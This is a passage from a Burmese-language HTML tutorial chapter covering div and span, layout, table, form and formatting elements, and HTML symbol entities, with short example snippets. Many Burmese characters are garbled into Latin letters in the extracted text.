y၊ဲ လုိအပ်တဲ့  ကြေနရာတိုင်းမှာ သံုးလုိရ့တဲ့    Element   ကို ဆိုတာပါ။  HTML  ဆိုတာ ကွန်ပျူတာစနစ်ကြေတွက
နားလည်တဲ့  Content  Structure  တည်ကြေဆာက်oုိအ့တွက်  Language  တစ်မျ ို းလုိ့  အထက်မှာ  ကြေgပာခဲ့ပါ
တယ်။  လက်ကြေတွ့မှာကြေတာ့  HTML    ကို    Content  Structure    တည်ကြေဆာက်oုိအ့တွက်  သာမက    App  UI  
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တည်ကြေဆာက်oုိ့ သံုးကြေနeကပါတယ်။ ဒီကြေတာ့ ထွင်ထားတဲ့ရည်ရွယ်ချက်ကတစ်မျ ို း၊ လက်ကြေတွ့သုံးကြေနeကတာ
ကတစ်မျ ို းgoစ်ကြေနတဲ့ သကြေyာပါပဲ။ ဒါကြေeကာင့်လည်း <div> Element ကို အရမ်းအသံုးများတာပါ။ App UI
အတွက် သင့်ကြေတာ်တဲ့ Element ကြေတွ HTML မှာ သိပ်မှမgပည့်စံုတာ။ ထွင်ထားတာ ဒီအတွက် ထွင်ထားတာ
မဟုတ်yူးကြေလ။  Menubar  တစ်ခုထည့်ချင်လား၊  <div> ကိုသုံး။  Menubar  အတွက်သတ်မှတ်ထားတဲ့
သီးgခား Element မရှိလုိ့ပါ။ Toolbar ကြေလးတစ်ခုထည့်ချင်လား၊ <div> ကိုသုံး။ Toolbar ထည့်oုိအ့တွက်
သီးgခား Element မှမရှိတာ။ စသgoင့် App UI တည်ကြေဆာက်oုိအ့တွက် ဆိုရင် ကြေနရာတိုင်းမှာ <div> ကိုပဲ
သုံးeကရပါတယ်။ အသံုးလွန်ပြပီး မသံုးသင့်တဲ့  ကြေနရာကြေတွမှာပါ သုံးeကတဲ့အထိပါပဲ။ ဥပမာ  -  ကြေခါင်းစီးထည့်
ချင်ရင် <h1> <h2> စသည်goင့် သုံးသင့်ကြေပမယ့် <div> ကိုပဲသုံးလုိက်တာတို၊့ စာပုိဒ်ထည့်ချင်ရင် <p>
ရှိရဲ့သားနဲ့  <div> လည်း သံုးလုိက်တာတို၊့  Button  တစ်ခုထည့်ချင်ရင်  <button> ရှိရဲ့သားနဲ့  <div>
ကိုသုံးလုိက်တာတို့  ရှိကြေနeကပါတယ်။  <div>     ဟာ စွယ်စံုသုံးလုိရ့တဲ့  အသံုးဝင်တဲ့    Element    တစ်ခုgoစ်ကြေပ  

မယ့်   Abuse   မလုပ်မိoုိ့ကြေတာ့ သတိထားရပါလိမ့်မယ်  ။

<span> -  <span> ဟာလည်း <div> လုိပဲ  Generic Element ပါပဲ။  <div> ကို တင်ချင်ရာတင်လုိရ့
တဲ့ စားပဲွတစ်လံုးလုိ့ သကြေyာထားမယ်ဆိုရင် <span> ကိုကြေတာ့ ထည့်ချင်ရာထည့်လုိရ့တဲ့ ပန်းကန်တစ်လံုး
လုိ့  သကြေyာထားနိုင်ပါတယ်။   ပန်းကန်ထဲမှာ  အသီးအနှံဆို  အသီးအနှံပဲထည့်မယ်၊  သeကားလုံးဆို
သeကားလုံးပဲ  ထည့်မယ် မဟုတ်လား။  စားပဲွကြေပါ်မှာကြေတာ့ အသီးအနှံထည့်ထားတဲ့  ပန်းကန်ကြေတွကြေရာ၊  အုိး
ကြေတကွြေရာ၊  ခွက်ကြေတွကြေရာ အကုန်တင်မယ်  မဟုတ်လား။  အ့ဲဒီလုိကွာပါတယ်။ တစ်ကယ့်ကွာgခားပံုကို  ခုကြေန
နည်းပညာသကြေyာက ကြေgပာရင် ရှုပ်ကြေနမှာစိုးလုိ့ပါ။ ကြေနာက်တစ်ခန်းကျကြေတာ့မှ ထပ်ကြေgပာပါမယ်။

Layout Elements
HTML  Document  ကြေတတွည်ကြေဆာက်တဲ့အခါ  Content  ချည်းမဟုတ်yဲ  Layout  ကြေလးကြေတွလည်း
ထည့်သွင်း တည်ကြေဆာက်နိုင်ပါတယ်။ မူလ HTML မှာ Layout အတွက်ရည်ရွယ်ထားတဲ့  Element ရယ်လုိ့
သီးgခားမပါဝင်တဲ့အတွက်  <div> ကြေတွကို  Layout  အတွက်  သံုးခဲ့eကရပါတယ်။  HTML5  ဆိုပြပီး  ထွက်
ကြေပါ်လာတဲ့  ကြေနာက်ပုိင်းမှာကြေတာ့  Layout  Element  ကြေတွကို  ထည့်သွင်းကြေပးလာပါတယ်။  အသံုးများတဲ့
Layout Element ကြေတွရဲ့ပုံစံက ဒီလုိပါ။
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HTML  Document  ကြေတွကိုအသုံးgပုပြပီး  ဝy်ဆိုက်ကြေတွ  တည်ကြေဆာက်တဲ့အခါ  Logo  ကြေတွ  ကြေခါင်းစီးကြေတွ၊
Hotline  နံပါတ်လုိ  ဆက်သွယ်ရမယ့်  အချက်အလက်ကြေတွ၊  ကြေဆာင်ပုဒ်လုိ  အရာကြေတွကို  ဟုိးအကြေပါ်မှာ
Document  Header  အကြေနနဲ့  ထည့်eကတာ  ထံုးစံပါပဲ။  အ့ဲဒီလုိသကြေyာမျ ို းနဲ့  အသံုးgပုoုိ့လုိအပ်ရင်
<header> Element  ကိုသုံးနိုင်ပါတယ်။ သူနဲ့  ကြေgပာင်းgပန်က  <footer> Element  goစ်ပါတယ်။ ဟိုး
ကြေအာက်ဆံုးမှာ ထားeကကြေလ့ရှိပြပီး  Copyright  တို့  Privacy Policy  တိုလုိ့  အကြေeကာင်းအရာကြေတွ ထည့်သွင်း
ကြေoာ်gပeကကြေလ့ရှိပါတယ်။

နမူနာပုံရဲ့  ကြေyးတစ်yက်တစ်ချက်မှာ  <nav> နဲ့  <aside> တိုက့ို  ကြေပးထားပါတယ်။  နမူနာပါ။
လက်ကြေတွ့မှာ <nav> တို့ <aside> တိုဆ့ိုတာ အ့ဲဒီလုိ ကြေyးမှာထားရတယ်ဆိုတဲ့သကြေyာ ပုံကြေသမဟုတ်ပါ
yူး။ ကိုယ်ကြကိုက်တဲ့ ကြေနရာမှာထားပါ။ သူ့အဓိပ္ပါယ်ကို သိoုိ့ပဲလုိပါတယ်။ <nav> ကိုကြေတာ့  ဝy်ဆိုက် မှာ
ပါဝင်တဲ့  စာမျက်နှာကြေတွ  အgပန်အလှန်သွားလုိရ့တဲ့  Navigation  Link  ကြေတွ  စုစည်းထည့်သွင်းoုိ့  သုံးရပါ
တယ်။ <aside> ကိုကြေတာ့ ပင်မ Content နဲ့ ဆက်စပ်ကြေနတဲ့ Relevant Content ကြေတွ စုစည်းထည့်သွင်းoုိ့
သုံးရပါတယ်။

<section> ဆိုတာ  Document  အတွင်းမှာရှိတဲ့  သီးgခားခွဲထုတ်လုိတဲ့  အစိတ်အပုိင်းလုိ့  ဆိုနိုင်ပါတယ်။
သူ့မှာ သူ့ကိုယ်ပုိင်  <header> ကြေတွ  <footer> ကြေတွ ရှိလုိရ့ပါတယ်။  <article> ကကြေတာ့ စာကြေတွ
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ထည့်သွင်းoုိပ့ါ။  <p> Element  ကို စာပုိဒ်ကြေတွထည့်oုိလုိ့့ ကြေgပာထားပါတယ်။  <article> ကိုကြေတာ့ အ့ဲဒီ
<p> Element  ကြေတွနဲ့  ထည့်ထားတဲ့  စာပုိဒ်ကြေတွ  ကြေခါင်းစီးကြေတွ၊  ကြေခါင်းစီးအခွဲကြေတွ  စုစည်းoုိ့  Element  လုိ့
သကြေyာထားနိုင်ပါတယ်။

နမူနာ Layout ပုံမှာ မပါကြေပမယ့် ကြေနာက်ထပ်အသုံးများတဲ့  Element နှစ်ခု ရှိပါကြေသးတယ်။ <hgroup> နဲ့
<main> ပါ။ <hgroup> ကို ကြေခါင်းစီးကြေတွ တစ်ခုထက်ပုိတဲ့အခါ စုစည်းoုိ့သုံးနိုင်ပါတယ်။ ဥပမာ -

 HTML 

<hgroup>
    <h1>Maing Heading</h1>
    <h3>Minor Heading</h3>
    <h2>Secondary Heading</h2>
</hgroup>

<main> Element ကိုကြေတာ့ အဓိကကျတဲ့ Content အားလုံးကို စုစည်းoုိ့ အသုံးgပုနိုင်ပါတယ်။ နမူနာပံုမှာ
ပါတဲ့  <section> သကြေyာမျ ို းပါပဲ။  ကွာသွားတာက  <section> က  သီးgခား  ရပ်တည်နိုင်တဲ့
အစိတ်အပုိင်းတစ်ခုသကြေyာမျ ို းgoစ်ပြပီး <main> ကကြေတာ့ လက်ရှိ  Document ရဲ့ အဓိကအစိတ်အပုိင်း ဆို
တဲ့ သကြေyာမျ ို းပါ။

ဒီ  Element  ကြေတွကို သုံးလုိက်ယုံနဲ့ နမူနာပံုမှာgပထားသလုိ  Layout  အသွင်အgပင် ရသွားမှာ မဟုတ်yူးဆို
တာကို  တစ်ခါထဲ မှတ်oုိ့  လုိပါလိမ့်မယ်။  HTML  ဆိုတာ  Content  ကို  စုစည်းoုိ့သာ goစ်ပါတယ်။ အကြေgခခံ
အားgoင့် အသွင်အgပင်ဆိုတာ သူနဲတ့ိုက်ရုိက်မဆိုင်ပါyူး။ yယ် Content က yာဆိုတာကို သတ်မှတ်ကြေပး
ယုံသာ သတ်မှတ်ကြေပးတဲ့ သကြေyာပါ။ လုိချင်တဲ့  Layout  အသွင်အgပင်အတွက်ကကြေတာ့ ကိုယ့်yာသာ CSS
လုိ Style Language ကြေတွနဲ့ သတ်မှတ်ကြေပးရမှာပါ။ ဒီစာအုပ်မှာ အဓိကကြေလ့လာချင်တဲ့ Bootstrap လုိ နည်း
ပညာမျ ို းနဲလ့ည်း သတ်မှတ်ကြေပးနိုင်ပါတယ်။ ကြေနာက်ပုိင်းမှာ ဆက်လက်ကြေoာ်gပပါမယ်။

Table Elements
Table ဟာလည်းပဲ Content ကြေတွကြေoာ်gပoုိအ့တွက် အကြေရးပါတဲ့ Element တစ်ခုပါပဲ။ တစ်ချ ို ့ Table ဇယား
နဲ့gပရမယ့် အချက်အလက်ကြေတွဆိုတာ ရှိလာမှာပါပဲ။ Table တစ်ခုသတ်မှတ်oုိအ့တွက် လုိအပ်တဲ့ Element
(၄) မျ ို း ရှိပါတယ်။ <table>, <tr>, <th> နဲ့ <td> တို့goစ်ပါတယ်။ <tr> ဆိုတာ Table Row ဆို
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တဲ့ အဓိပ္ပါယ်goစ်ပြပီး ကိုယ်သတ်မှတ်လုိတဲ့ Table မှာ Row (၃) ခုရှိရင် <tr> အoွင့်အပိတ် (၃) စံုရှိရမှာပါ။
<th> နဲ့  <td> က  သကြေyာသyာဝဆင်ပါတယ်။  Table  Row  တစ်ခုအတွင်းထဲမှာ  Data  Column
yယ်နှစ်ခုရှိသလဲဆိုတာကို <th> တို့ <td> တိုန့ဲ ့သတ်မှတ်ကြေပးရတာပါ။ <th> က Table Heading  goစ်
ပြပီး <td> က Table Data goစ်ပါတယ်။ ကြေရးသားပုံက ဒီလုိပါ -

 HTML 

<table>
<tr>

<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</table>

ဒီကုဒ်ကိုမစမ်းခင် oတ်eကည့်လုိက်ရင်ပဲ သကြေyာသyာဝ ကြေပါ်လွင်ပါတယ်။ Table တစ်ခုရှိပြပီး Row သုံးခု ရှိ
ပါလိမ့်မယ်။  Row  တစ်ခုချင်းစီမှာ  Data Column (၃)  ခုစီရှိပြပီး၊ အကြေပါ်ဆံုး  Row  ထဲက  Column  ကြေတွက
Heading Column ကြေတွ goစ်ပါတယ်။ စမ်းeကည့်လုိက်ရင် ရလဒ်က ဒီလုိgoစ်မှာပါ။
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ပုံထဲကနမူနာမှာ border နဲ့  width Attribute ကြေတွ ထည့်ထားတာကို သတိgပုပါ။ မgoစ်မကြေနလုိအပ်လုိ့
မဟုတ်ပါyူး။  အ့ဲဒါကြေလးကြေတွပါမှ  ရလဒ်က  eကည့်ရတာ  အဆင်ကြေgပမှာမုိလုိ့သ့ာ  ထည့်ထားတာပါ။  ကိုယ့်
yာသာ တနoုိ်းကြေတွကြေgပာင်းပြပီး စမ်းeကည့်လုိ ့ရပါတယ်။

ပုိပြပီးကြေတာ့ gပည့်စံုချင်ရင်  <thead>, <tbody> နဲ့  <tfoot> လုိ  Element  ကြေတွကို  သုံးနိုင်ပါတယ်။
တစ်ချ ို ့ ကြေပါင်းပြပီးgပoုိ ့လုိတဲ့ Column ကြေတွအတွက် colspan Attribute ကိုသုံးနိုင်ပါတယ်။ တစ်ချ ို ့ ကြေပါင်း
ပြပီးgပoုိ့ လုိတဲ့ Row ကြေတွအတွက်ကြေတာ့ rowspan Attribute ကို သုံးနိုင်ပါတယ်။ align Attribute ကိုသုံး
ပြပီးကြေတာ့ Column တစ်ခုချင်းစီမှာပါတဲ့ Content ကြေတွကို yယ်ညာ၊ အလယ် စီထားလုိ့လည်းရပါတယ်။ ဒါ
ကြေတွအစံုပါတဲ့ နမူနာကြေလးတစ်ခုကြေပးပါမယ်။

 HTML 

<table>

<thead>
<tr>

<th>ID</th>
<th>Name</th>
<th>Age</th>

</tr>
</thead>
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<tbody>
<tr>

<td>1</td>
<td>Alice</td>
<td>22</td>

</tr>
<tr>

<td>2</td>
<td>Bob</td>
<td>23</td>

</tr>
</tbody>

<tfoot>
<tr>

<th colspan="2" align="right">Total</th>
<td>2</td>

</tr>
</tfoot>

</table>

<thead>, <tbody>, <tfoot> ကြေတွကိုသုံးကို  Row  ကြေတွကို  စုစည်းကြေပးလုိက်တာပါ။ ဒီလုိစုစည်း
ကြေပးလုိက်လုိ့  Table  ရဲ့အသွင်အgပင်ကြေoာ်gပပုံကြေတာ့ မကြေgပာင်းပါyူး။ အချက်အလက်ကြေတွ စုစုစည်းစည်း goစ်
သွားgခင်းသာ goစ်ပါတယ်။ အသွင်အgပင်ကြေgပာင်းမှာက ကြေအာက်ဆံုး Row မှာပါတဲ့ <th> ပါ။ colspan=2
လုိ့  ကြေgပာထားတဲ့အတွက် သူက  Column  နှစ်ခုစာ ကြေနရာယူမှာပါ။ ဒါကြေeကာင့်လည်း ကြေအာက်ဆံုး  Row  မှာ
Column (၃)  ခုမရှိyဲ  (၂)  ခုပဲ  ရှိကြေနတာပါ။  Column  တစ်ခုက သူတစ်ခုထဲ နှစ်ခုစာကြေနရာယူမှာ မုိ့လုိပ့ါ။
ရလဒ်က ဒီလုိgoစ်ပါလိမ့်မယ်။
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Row ကြေတွကြေပါင်းတဲ့  rowspan ကြေတာ့ နမူနာကြေပးတဲ့အထဲ မပါပါyူး။ လုိအပ်ချက်နည်းပါတယ်။ မgoစ်မကြေန
လုိအပ်လာကြေတာ့မှာသာ ဆက်ကြေလ့လာeကည့်လုိက်ပါ။

Form Elements
ရုိးရုိးစာရွက်ကြေတွမှာ လက်ကြေရးနဲ ့ကြေရးgoည့်လုိရ့တဲ့ ကြေoာင်ကြေတွရှိသလုိပဲ HTML မှာလည်း User က ကြေရးgoည့်လုိ့
ရတဲ့၊ ကြေရွးလုိရ့တဲ့ ကြေoာင်ကြေတွ ရှိပါတယ်။ ဒီကြေoာင်ကြေတွကို အားကိုးပြပီး Web Application ကြေတွထိ oန်တီးeကရ
တာဆိုကြေတာ့  ကျယ်gပန့်ပါတယ်။  အသံုးများတဲ့  ကြေoာင်  Element  ကြေတွကို  ကြေရွးထုတ်ကြေလ့လာeကပါမယ်။  ဒီ
Element (၅) မျ ို းကို ကြေလ့လာရမှာပါ။

• <label>
• <input>
• <textarea>
• <select>
• <button> 

<input> Element  ဟာ  Empty  Element  goစ်ပြပီးကြေတာ့  type Attribute  မgoစ်မကြေန  ပါရပါတယ်။
text, password, radio, checkbox, email, url, date, submit, reset စ
သgoင့်  Value  ကြေတွအများကြကီးရှိပါတယ်။  အ့ဲဒီထဲက  လက်ရှိ  အဆင့်မှာ  ကြေရွးချယ်မှတ်သားသင့်တာက
text, password နဲ ့submit goစ်ပါတယ်။
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<input> တို ့<textarea> တို့ <select> တိုက့ို <label> နဲ့ တွဲသုံးကြေလ့ ရှိပါတယ်။ ဒီလုိပါ -

 HTML 

<label for="name">Your Name</label>
<input type="text" id="name"> <br>

<label for="pwd">Password</label>
<input type="password" id="pwd"> <br>

<input type="submit" value="Login">

<label> ကြေတွမှာ  for Attribute  ပါပြပီး  <input> ကြေတရွဲ့  id နဲတ့ူကြေအာင်ကြေပးရတာကို  သတိgပု
eကည့်ပါ။ ဒီနည်းနဲ့  <label> နဲ့  <input> ကို တွဲရgခင်းgoစ်ပါတယ်။ နမူနာ <input> သုံးခုမှာ type
ကြေတွမတူeကပါyူး။ text ကကြေတာ့ စာကြေတွရုိက်ထည့်လုိရ့တဲ့ Input goစ်ပြပီး password ကလည်း စာကြေတွ
ရုိက်ထည့်လုိရ့တဲ့  Input  ပါပဲ။ ကွာသွားတာကကြေတာ့ password Input  မှာ ရုိက်ထည့်လုိက်တဲ့စာကြေတွကို
ကြေoျာက်ထားကြေပးမှာပါ။  submit ကကြေတာ့  နှိပ်လုိရ့တဲ့  ခလုပ်တစ်ခုgoစ်ပါတယ်။  eကားထဲမှာပါတဲ့  <br>
Element ကကြေတာ့ Line Break ဆိုတဲ့အဓိပ္ပါယ်ပါ။ ကြေနာက်တစ်လုိင်းကို ဆင်းကြေပးပါတယ်။

eကားgoတ်ပြပီးမှတ်ကြေပးပါ။ HTML Code ထဲမှာ Enter ကြေတွ ကြေခါက်ပြပီးလုိင်းကြေတွ ခွဲချင်သကြေလာက်ခွဲ၊ Tab ကြေတွ
နှိပ်ပြပီး စကြေပ့ကြေတွ ထည့်ချင်သကြေလာက်ထည့်၊ အ့ဲဒါကြေတွကို ထည့်ပြပီး အလုပ်မလုပ်ပါyူး။ ကိုယ့်yက်က အခု
လုိ တစ်လုိင်းဆင်းကြေစချင်ရင် ဆင်းကြေစချင်တဲ့အကြေeကာင်း <br> Element နဲ့ကြေgပာကြေပးမှပဲ ဆင်းပါတယ်။

လက်ကြေတွ့မှာ ဒီ  Input  ကြေတွအားလုံးကို  <form> Element တစ်ခုနဲ့  စုoဲွ့ထားရတဲ့ ထံုးစံရှိပါတယ်။ ရလဒ်
က ဒီလုိgoစ်မှာပါ။



PWD 2023 – အခန်း (၁) - HTML 36

submit Input  အတွက်  value Attribute  သုံးထားတာကိုလည်း သတိgပုပါ။  value မှာကြေပးထားတဲ့
တန်oုိးကို ခလုပ်ကြေပါ်ကစာအကြေနနဲ့ လာgပတာကို ကြေတွ့ ရနိုင်ပါတယ်။ လက်ကြေတွ့မှာ value နဲအ့တူ တgခား
အကြေရးကြကီးတဲ့  placeholder, readonly, checked, required စတဲ့  Attribute  ကြေတွ ရှိပါ
ကြေသးတယ်။ အ့ဲဒါကြေတွကိုကြေတာ့ လက်ကြေတွ့အသုံးချ  Web Application  ကြေတွကြေလ့လာတဲ့  အဆင့်ကြေရာက်ပြပီဆို
ကြေတာ့မှပဲ ဆက်ကြေလ့လာပါ။ အခုကကြေတာ့ ကြေoာင်တစ်ခုအကြေနနဲ့ ကြေရးgoည့်လုိရ့တဲ့ အဆင့်ထိပဲ ကြေလ့လာရမှာပါ။
ကြေရးgoည့်လုိက်တဲ့တန်oုိးကြေတွကို  သုံးပြပီးတစ်ကယ်အလုပ်လုပ်oုိက့ကြေတာ့  PHP  တို့yာတို့လုိ  Server-side
နည်းပညာကြေတွနဲ့  ပူးတွဲကြေလ့လာeကရဦးမှာပါ။  ဒါကြေeကာင့်  အခုထည့်သွင်းတဲ့ကြေoာင်ကြေတွဟာ  ကြေoာ်gပယုံ
သက်သက် goစ်တယ်လုိ့ နားလည်ပါ။ လက်ကြေတွ့အလုပ်လုပ်တဲ့ ကြေoာင်ကြေတွကြေတာ့ မဟုတ်ကြေသးပါyူး။

<textarea> ဟာ အoွင့်အပိတ်အgပည့်အစံုပါတဲ့  Element goစ်ပါတယ်။ text Input ကြေတဟွာ စာတစ်
ကြေeကာင်းပဲ ကြေရးgoည့်oုိ့ သင့်ကြေတာ်ပြပီး၊ စာများများ ကြေရးgoည့်oုိ့ လုိအပ်ရင် <textarea> ကို သံုးရမှာ goစ်ပါ
တယ်။ <select> ကိုကြေတာ့ ကြေရွးလုိရ့တဲ့ List တစ်ခုထည့်သွင်းလုိတဲ့အခါ သံုးပါတယ်။ ကြေရွးရမယ့် Option
ကြေတွကို <option> Element သုံးပြပီး သတ်မှတ်ရပါတယ်။ <ul> <li> ကြေရးပုံနဲ့ တူပါတယ်။ <ul> ထဲ
မှာ <li> ကြေတွ ရှိသလုိပဲ <select> ထဲမှာ <option> ကြေတွ ရှိရမှာပါ။

<button> ကကြေတာ့ submit Input  နဲ့ အတူတူပါပဲ။ ကွာသွားတာက အoွင့်အပိတ် အgပည့်အစံုနဲ့  ကြေရး
ကြေပးရgခင်း goစ်ပါတယ်။ သူ့မှာလည်း type Attribute ပါရပါတယ်။ ဒါကြေတွအားလုံး အgပည့်အစံုပါတဲ့ နမူနာ
တစ်ခု ကြေရးကြေပးပါမယ်။
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 HTML 

<form>
<label for="name">Your Name</label> <br>
<input type="text" id="name"> <br>

<label for="gender">Your Gender</label> <br>
<select id="gender">

<option>Male</option>
<option>Female</option>

</select> <br>
  

<label for="address">Your Address</label> <br>
<textarea id="address"></textarea> <br>

<button type="submit">Send</button>
</form> 

<button> မှာ  type က မထည့်လည်း ရကြေတာ့ရပါတယ်။ အလားတူပါပဲ  <label> ကြေတွမှာ  for မ
ထည့်လည်း  yာမှကြေတာ့ မgoစ်ပါyူး။  Input  ကြေတွမှာလည်း  id မပါမgoစ်  မဟုတ်ပါyူး။  ကြေနာက်ဆံုးဆင့်
<label> Element ကို လံုးဝမသုံးလဲ စာကြေတွဒီအတိုင်း ချကြေရးလည်း ရတာပါပဲ။ ဒါကြေပမယ့် သတ်မှတ်ထား
တဲ့အတိုင်း စံုကြေအာင်ကြေရးကြေတာ့ ပုိစနစ်ကျသွားတာကြေပါ။့ ရလဒ်က ဒီလုိgoစ်မှာပါ -

ဒီကြေလာက်ဆိုရင်  အကြေgခခံ  Form  Element  ကြေတွ  ရသွားပါပြပီ။  ဒီထက်နည်းနည်းပုိ  အဆင့်gမင့်တဲ့  တစ်ချ ို ့
Element ကြေတွကျန်ကြေသးတယ်ဆိုတာကိုကြေတာ့ သတိgပုကြေပးပါ။
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Formatting Elements
စာလုံးကြေတွရဲ့  ကြေoာ်gပပံုအသွင်အgပင်ဟာ တစ်ကယ်တမ်းကြေတာ့  HTML  ရဲ့အလုပ်  မဟုတ်ပါyူး။  HTML  ရဲ့
တာဝန်က  Content  Structure  တည်ကြေဆာက်oုိ့ပါပဲ။  ဒါကြေပမယ့်  HTML  မှာ  လုိအပ်ရင်  အသံုးgပုနိုင်oုိ့
အတွက်  စာလံုးအသွင်အgပင်ကြေတွ  Format  ကြေgပာင်းကြေပးနိုင်တဲ့  Element  ကြေတွရှိပါတယ်။  မှတ်သားသင့်တဲ့
Element စာရင်းကို ထည့်ကြေgပာချင်ပါတယ်။

<b>,  <strong> -  စာလုံးကြေတွကို  Bold  လုပ်ပြပီးကြေoာ်gပကြေစချင်ရင်  <b> သုိ့မဟုတ်  <strong>
Element ကို အသုံးgပုနိုင်ပါတယ်။

<i>,  <em> -  စာလုံးကြေတွကို  Italic  ပုံစံ  စာလံုးကြေစာင်းနဲ့  ကြေoာ်gပကြေစချင်ရင်  <i> သုိမ့ဟုတ်  <em>
Element ကို အသုံးgပုနိုင်ပါတယ်။

<s>, <del> - စာလုံးကြေတွကို ကန့်လတ်goတ်လုိင်းနဲ့  oျက်ပြပီးgပချင်တယ်ဆိုရင် (ဥပမာ - oျက်ထားသည့်
စာ) <s> သုိမ့ဟုတ် <del> ကိုသုံးနိုင်ပါတယ်။ Underline တာoုိအ့တွက် <u> Element ရှိကြေပမယ့် မသံုး
သင့်တဲ့ Element အကြေနနဲ ့ပယ်ထားeကပါတယ်။

<code>, <pre> -  ကုဒ်နမူနာကြေတွကို  HTML  ထဲမှာ  ထည့်ကြေရးgပချင်တဲ့အခါ၊  တစ်ကြေeကာင်းထဲဆိုရင်
<code> Element  ကို  သုံးနိုင်ပါတယ်။  ကုဒ်ကြေတွတစ်ကြေeကာင်းထက်ပုိပြပီး  များတယ်ဆိုရင်  <pre>
Element  ကိုသုံးပြပီး  gပနိုင်ပါတယ်။  ကုဒ်ကြေတွgပတဲ့အခါမှာ  သံုးရတဲ့  Monospace  oွန့်ကြေတွသုံးပြပီး  gပကြေပးပါ
တယ်။  <pre> မှာ ကြေနာက်ထပ်ထူးgခားချက် ရှိပါကြေသးတယ်။  HTML  ရဲ့တgခားကြေနရာမှာ  Space  ကြေတွ  Tab
ကြေတွ  Enter  ကြေတွ ထည့်ချင်သကြေလာက်ထည့် အလုပ်မလုပ်ပါyူး။  <pre> ထဲမှာကြေရးထားတဲ့  Content  မှာ
ကြေတာ့ Space ကြေတွ Tab ကြေတွ Enter ကြေတွပါရင်၊ ပါတဲ့အတိုင်း အကုန်အလုပ်လုပ်ကြေပးပါတယ်။

<sup>, <sub> - Superscript နဲ့  Subscript တိုအ့တွက်ပါ။  4th ရဲ့ အကြေပါ်နည်းနည်းတင်gပတဲ့  th ကို
Superscript လုိ့ကြေခါ်ပြပီး HTML မှာ <sup> Element ကိုသုံးနိုင်ပါတယ်။ H2O ရဲ့ ကြေအာက်နည်းနည်းချgပတဲ့
2 ကို Subscript လုိ့ကြေခါ်ပါတယ်။ HTML မှာ <sub> Element ကို သုံးနိုင်ပါတယ်။
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<blockquote> -  ကြေဆာင်ပုဒ်ကြေတွ၊ ဆိုရုိးစကားကြေတွ၊ အကိုးအကားကြေတွကို  Quote လုပ်ပြပီးgပချင်တယ်ဆို
ရင်  <blockquote> Element  ကိုသုံးနိုင်ပါတယ်။  yယ်လုိပုံစံကြေoာ်gပသလဲဆိုတာ စာနဲ့ကြေgပာရင်  ရှုပ်ပါ
တယ်။ Codepen မှာသာ လက်ကြေတွ့ ထည့်ကြေရးပြပီး စမ်းeကည့်လုိက်ပါ။

<address>, <time> -  လိပ်စာကြေတွကို  <address> Element နဲ့ကြေoာ်gပနိုင်ပြပီး ရက်စွဲနဲ့ အချနိ်ကြေတွ
ကိုကြေတာ့ <time> Element နဲ့gပနိုင်ပါတယ်။ ဒါကြေတွက ဒီကြေနရာမှာ ထည့်ကြေgပာကြေပမယ့် အသွင်အgပင်ကြေgပာင်း
ကြေပးတဲ့  Formatting Element  ကြေတကွြေတာ့ မဟုတ်ပါyူး။  အသုံးဝင်တဲ့  Element  ကြေတွအကြေနနဲ့  ကျန်ကြေနလုိ့
တစ်ခါထဲ ထည့်ကြေgပာလုိက်တာပါ။ 

<!-- Comment --> -  ဒါကကြေတာ့  Comment Element  goစ်ပါတယ်။  HTML  ထဲမှာ ကိုယ့်yာသာ
ကြေရးမှတ်ချင်တာကြေတွရှိရင် ဒီ  Element  နဲ့  ကြေရးမှတ်နိုင်ပါတယ်။ အလုပ်လုပ်တဲ့အခါ ဒီ  Comment  ကြေတွကို
ထည့်သွင်း အလုပ်လုပ်မှာ မဟုတ်ပါyူး။

HTML Symbols
HTML  မှာ  Copyright  တို့  Trademark  တိုလုိ့့  သကြေက[တကြေတွအပါအဝင်  အgခားသကြေက[တကြေတွကိုလည်း
ထည့်သွင်းအသုံးgပုလုိ ့ရပါတယ်။ ဥပမာ - ဒီလုိပါ။

 HTML 

<p>Copyright &copy; Fairway Technology &trade;</p>

နမူနာမှာ  Symbol  နှစ်ခုပါပါတယ်။  &copy; နဲ့  &trade; တိုပ့ါ။  Symbol  ကြေတွကိုကြေရးတဲ့အခါ
Ampersand (&) နဲစ့ပြပီး Semi-colon (;) နဲအ့ဆုံးသတ် ကြေပးရကြေလ့ရှိပါတယ်။ ရလဒ်က ဒီလုိgoစ်မှာပါ။ 

Copyright © Fairway Technology ™

တgခား အလားတူ အသုံးဝင်နိုင်တဲ့ Symbol ကြေတွကို ထည့်သွင်းကြေoာ်gပကြေပးလုိက်ပါတယ်။
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• &copy; - ©
• &trade; - ™
• &reg; - ®
• &euro; - €
• &larr; - ←
• &uarr; - ↑
• &rarr; - →
• &darr; - ↓
• &crarr; - ↵
• &lArr; - ⇐
• &rArr; - ⇒
• &laquo; - «
• &raquo; - »
• &nbsp; - [space]

&nbsp; က ကြေနရာလွတ်တစ်လံုးစာ Space ကိုထည့်သွင်းကြေပးတာပါ။ အရင်ကကြေတာ့ သကြေက[တကြေတွ ထည့်
ချင်ရင် ဒီနည်းကိုပဲ သံုးရပါတယ်။ အခုကြေတာ့ ယူနီကုဒ်ရဲ့အကူအညီနဲ့  Emoji  ကြေတွကို ပံုစံစံုနဲ့ ထည့်လုိရ့လာ
ပါပြပီ။ ဒီနည်းအတိုင်း ကြေနရာတိုင်းမှာ ကြေရးထည့်စရာ မလုိကြေတာ့ပါyူး။ ကိုယ်ထည့်ချင်တဲ့ သကြေက[တပံုကို ကီး
yတု် ကြေဆာ့o်ဝဲကြေတွနဲအ့တူတွဲပါတဲ့ Emoji Browser ကကြေန ကြေရွးပြပီးထည့်လုိက်ယုံပါပဲ။ ဒီလုိထည့်လုိရ့ကြေနကြေပ
မယ့် HTML Symbol ကြေတွကိကုြေတာ့ ကင်းလုိ့ကြေတာ့ မရနိုင်ကြေသးပါyူး။ သူ့ကြေနရာနဲသူ့ အသုံးဝင်ကြေနဆဲပါပဲ။

အခုဆိုရင် HTML အကြေeကာင်း ကြေတာ်ကြေတာ်ကြေလးစံုသကြေလာက်goစ်သွားပါပြပီ။ HTML ရဲ့ အဓိကတာဝန်ကို မကြေမ့
ကြေစချင်ပါyူး။ ကွန်ပျူတာစနစ်ကြေတွက နားလည်တဲ့ Content Structure ကိုတည်ကြေဆာက်gခင်း goစ်ပါတယ်။
